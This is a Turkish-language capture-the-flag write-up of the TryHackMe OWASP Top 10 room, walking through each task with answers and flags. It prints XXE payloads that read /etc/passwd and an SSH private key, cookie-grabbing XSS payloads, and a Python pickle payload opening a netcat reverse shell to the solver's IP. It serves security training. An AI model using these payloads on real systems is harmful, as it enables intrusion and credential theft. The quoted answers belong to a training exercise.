OWASP Top 10 Tryhackme Writeup

Xena Vision
14 min readOct 8, 2021

--

Songül Kızılay

merhaba bugün tryhackme owasp top 10 odasının çözümünü anlatmaya çalışıcağım

Task 1 Introduction

Task 2 Accessing machines

openvpn kullanarak makineye bağlanalım

Task 3 [Severity 1] Injection

Task 4 [Severity 1] OS Command Injection

Task 5 [Severity 1] Command Injection Practical

soru 1

http://ip bu dizine gitmemiz isteniyor

bu kısımda bize shell yüklenmiş bi sayfa verilmiş

ls komutunu vererek dizindeki dosyalara göz atalım

evilshell.php şu anki shell index.php index dosyamız

burda en ilgi çekici dosya drpeper.txt dosyası

cevap: drpepper.txt

soru 2

cat /etc/passwd ile dosyamızı okuyalım

hizmet dışı kullanıcı yok

cevap : 0

soru 3

whoami komutu bize hangi kulalnıcı olduğumuzu söyler

cevap : www-data

soru 4

cat /etc/passwd dosyasından bakabiliriz

cevap : /usr/sbin/nologin

soru 5

hostnamectl komutu ile sürümü öğrenebilirz

cevap : 18.04.4

soru 6

motd ye çıktı vermemizi istiyor

motd nedir sorusunun cevabı eskiden linuxda grafik arayüz olmadığı zamanlarda motd dosyası ile mesaj bırakırlarmış ascıı art resimleri örnek olabilir motd dosyaları genelde etc dizinin altında bulunur

ipucuna baktığımızda ise başlıkdan bahsediyordu

cd /etc && locate motd komutunu kullanarak motd dosyalarını aradım

ve 00 başlıklı dosyayı buldum

cat ile dosyayı okuyalım

cevap : DR PEPPER

Task 6 Broken Authentication

Task 7 Broken Authentication Pratik

makineyi başlatalım ve verilen ip adresinin 8888. portuna gidelim

bu odanın Broken Authentication üzerine yoğunlaşıcağını söyleyen bir yazı var parağrafta anlatıldığı gibi önüne boşluk koyarak Darren adlı kullanıcıyı kaydetmeye çalışalım

burp suite ile isteği keselim

isteği yakalayalım repertera gönderelim ve değiştirelim

evet değişti giriş yapalım

darrene ait hakları ile yeni bi kulanıcı açıldı ve bize flağı verdi

aynı işlemi arthur için yapıp flağı alalım

Sensitive Data Exposure (Introduction)

[Severity 3] Sensitive Data Exposure (Supporting Material 1)

[Severity 3] Sensitive Data Exposure (Supporting Material 2)

[Severity 3] Sensitive Data Exposure (Challenge)

soru 1

bize verilen ip adresine dirb ile küçük bir dizin taraması yapmamız gerekiyor

bahsettiğimiz dizinin adı assets içinde veritabanı bilgileri var

sqlite3 ile db i açıp hash bilgilerini alalım

ve bu sitede çözelim admin ve bob a ait hashi kırdı fakat alice kırılmadı

giriş yapalım ve flağımızı alalım

Task 12 [Severity 4] XML External Entity

Task 13 [Severity 4 XML External Entity — eXtensible Markup Language

soru 1

xml in açılımını sormuş

cevap : Extensible Markup Language

soru 2

yukardaki parağraftada anlatıldığı gibi evet

cevap: yes

soru 3

cevap : XML prolog

Task 14 [Severity 4] XML External Entity — DTD

cevap :!ELEMENT

cevap:!DOCTYPE

cevap:!ENTITY

Task 15 [Severity 4] XML External Entity — XXE Payload

Task 16 [Severity 4] XML External Entity — Exploiting

soru 1

first name ve last name adımızı görüntüler

<!DOCTYPE replace [<!ENTITY name “feast”> ]>
<userInfo>
<firstName>falcon</firstName>
<lastName>&Songül;</lastName>
</userInfo>

soru 2

<?xml version=”1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM ‘file:///etc/passwd’>]>
<root>&read;</root>

bu komutla passwd dosyasını okuyabiliriz

soru 3

passwd dosyasına baktığımızda adının falcon olduğunu görüyoruz

soru 4

ssh anahtarları genelde home dizini altında .ssh klasörü içindedir ama biz okumayı deneyelim

<?xml version=”1.0"?>

<!DOCTYPE root [<!ENTITY read SYSTEM ‘file:///home/falcon/.ssh/id_rsa’>]>

<root>&read;</root>

id rsa bağlantısını kaydedip ssh üzerinden bağlanmayı denerseniz flağa ulaşabilirsiniz

Task 17 [Severity 5] Broken Access Control

Task 18 [Severity 5] Broken Access Control (IDOR Challenge)

soru 1

verdiği ipde bir giriş sayfası vardı. Adımızı ve şifremizi biliyoruz giriş yapalım

soru 2

note değerini değiştirerek flağa erişebiliriz

Task 19 [Severity 6] Security Misconfiguration

veridiği ip adresine gidelim ve bir bir not uygulaması buldum ipucuna tıkladığımda ise

kaynak koduna bakmamı istiyordu anlaşılan giriş şifresini varsayılan parola olarak bırakmış ve değişitrmemiş github dan şifreyi alalım

şifreyi bulduk

flağımızda burda

Task 20 [Severity 7] Cross-site Scripting

soru 1

verdiği ip den sayfaya gittiğimde bir TryHackMe XSS oyun alanı adlı bir

sayfa karşılıyor kayıt olup giriş yapalım

reflected xss sayfasına geldiğimde reflected xss oluşturmamı istiyor reflected xss doğrudan web sayfasında işlendiğini söylüyor

<script>alert(Hello)</script> komutunu çalılştıralım

soru 2

IP adreslerinin kullanıcının konumuyla ilişkili olduğunu biliyoruz ve aynı şekilde JavaScript’te window.location.hostnamekurbanın IP adresini alabilen, çağrılan bir nesne var. Aynı yükü bir önceki soruda kullanabilir ve bu soruyu tamamlamak için değiştirebiliriz.

<script>alert(window.location.hostname)</script>

cevap :ReflectiveXss4TheWin

soru 3

Sonraki birkaç soru, storedf XSS’e dayanmaktadır. html etiketi ile bir metin yazmamızı istiyor. Ben html de parağraf için kullanılan <p> etiketini kullanıcam

<p>paragraf</p>

cevap : HTML_T4gs

soru 4

uyarı için alert kullanıcaz belge tanımlama bilgileri içinse document.cookies

<script>alert(document.cookies)</script>

cevap : W3LL_D0N3_LVL2

soru 5

Bu soru biraz zordu Bu soruyu tamamlamak için document.queryselector , belirtilen seçiciyle eşleşen belge içindeki ilk öğeyi döndüren JavaScript nesnesini kullanabiliriz . Bu nedenle, önce "XSS Playground" ı bulmamız gerekiyor.

Bunu yapmak için, “XSS Playground” metnini seçip, sağ tıklayıp inspect element e tıklayalım

document.querySelector içine yazcağımız id yi bulduk

<script>document.querySelector(‘#thm-title’).textContent = ‘I am a hacker’</script>

cevap : websites_can_be_easily_defaced_with_xss

Task 21 [Severity 8] Insecure Deserialization

soru 1

küçük bir google araştırması ile bulabiliriz

cevap : The Apache Software Foundation

soru 2

ipucunda dos saldırısı olarak da bilindiğini söyledi.

cevap : Denial of Service

Task 22 [Severity 8] Insecure Deserialization — Objects

bir köpek uyurken nesnenin hali davranıştır

cevap: A Behaviour

Task 23 [Severity 8] Insecure Deserialization — Deserialization

Bu sorunun cevabı, ‘base-2 formatı’ google’da aranarak doğrudan bulunabilir.

cevap : binary

Task 24 [Severity 8] Insecure Deserialization — Cookies

soru 1

Çerezler kaydediliğinde , geçerli oldukları yol da açıklanır. Çerezin geçerli olduğu URL, sorunun kendisinde mevcuttur.

cevap: webapp.com/login

soru 2

HTTP yalnızca güvenli modunda güvenli tanımlama bilgilerini destekler.

cevap:https

Task 25 [Severity 8] Insecure Deserialization — Cookies Practical

soru 1

siteye gidip kayıt oluşturalım ve sayfadaki çerezleri inceleyelim

çerez değerimiz base64 ile şifrelenmiş

terminalden echo çerezdeğeri | base64 -d komutunu çalıştırarak çözebilirz

ilk flağımız burda

THM{good_old_base64_huh}

soru 2

Şu anda bir kullanıcı olarak oturum açıyoruz, admin flağını almak için hesap türümüzü ‘admin’ olarak değiştirmemiz gerekiyor. Bu userType, çerezler bölümündeki çerezde 'user' yerine 'admin' yazılarak yapılabilir . İşimiz bittiğinde, http://machine_ip/adminsayfanın kendisinde bayrağı bulabilir ve bulabiliriz.

Task 26 [Severity 8] Insecure Deserialization — Code Execution

söylediği adımları tek tek yerine getirelim

1. adım user kulalnıcı açmak

2. adım

vime sol tıklayalım be feedback sayfasına dönelim bu kısımda flask dan bahsetmiş flask nedir sorumuza cevap arayalım

Flask Web uygulamalarını geliştirmemizi sağlayan %100 Python ile yazılmış bir microframewroktur. Küçük bir framework olmasına karşın oldukça hızlı bir frameworktur veritabanında depolamak için veriler flaska gönderiliyor

minik bilgilendirmemizden sonra konuya dönelim

kalide netcat dinleyicimizi açalım

şu anda 4444 portuna gelen her bağlantıyı dinliyoruz

import pickle
import sys
import base64 command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f' class rce(object):
def __reduce__(self):
import os
return (os.system,(command,)) print(base64.b64encode(pickle.dumps(rce())))

bu python betiğinde kendi ip adresimizi yerleştirelim ve

python3 dosyaadı.py yi çalıştıralım

bize base64 e çevrilmiş halini vericek

Bunu tarayıcınızdaki “encodingPayload” çerezine yapıştırın:

Netcat dinleyicimizin hala çalıştığından emin olun ve sayfayı yenileyin askıda kalacak netcate dönelim . flag txt dosyasnı bulduk 🎊

Task 27 [Severity 9] Components With Known Vulnerabilities — Intro

Task 28 [Severity 9] Components With Known Vulnerabilities — Exploit

Task 29 [Severity 9] Components With Known Vulnerabilities — Lab

soru 1

bize verilen ip adresine nmap taraması yapalım

nmap -sV -sC ip

ssh ve bir http servisi çalışıyor web sitesine gidelim

Kitapçıdaki güvenlik açığını araştırabiliriz.
evet onu burda bulduk

indirelim ve çalıştıralım

şimdi etc/passwd içinde kaç karakter var ona bakalım

wc -c /etc/passwd

cevap : 1611

Task 30 [Severity 10] Insufficient Logging and Monitoring

bize verilen dosyayı indirelim.

soru 1

Sürekli farklı bir kullanıcı adı ile sisteme girmeye çalışan birini görüyoruz.

cevap : 49.99.13.16

soru 2

HTTP 401 Yetkisiz istemci hata durumu yanıt kodu, hedef kaynak için geçerli kimlik doğrulama bilgilerine sahip olmadığı için isteğin uygulanmadığını gösterir.

Yani brute force saldırısı diyebiliriz çünkü birisinin sürekli olarak farklı bir kullanıcı ile şifre denediğini görüyoruz.

cevap : Brute force

--

--

Xena Vision
Xena Vision

Written by Xena Vision

High Tech Startup on Computer Vision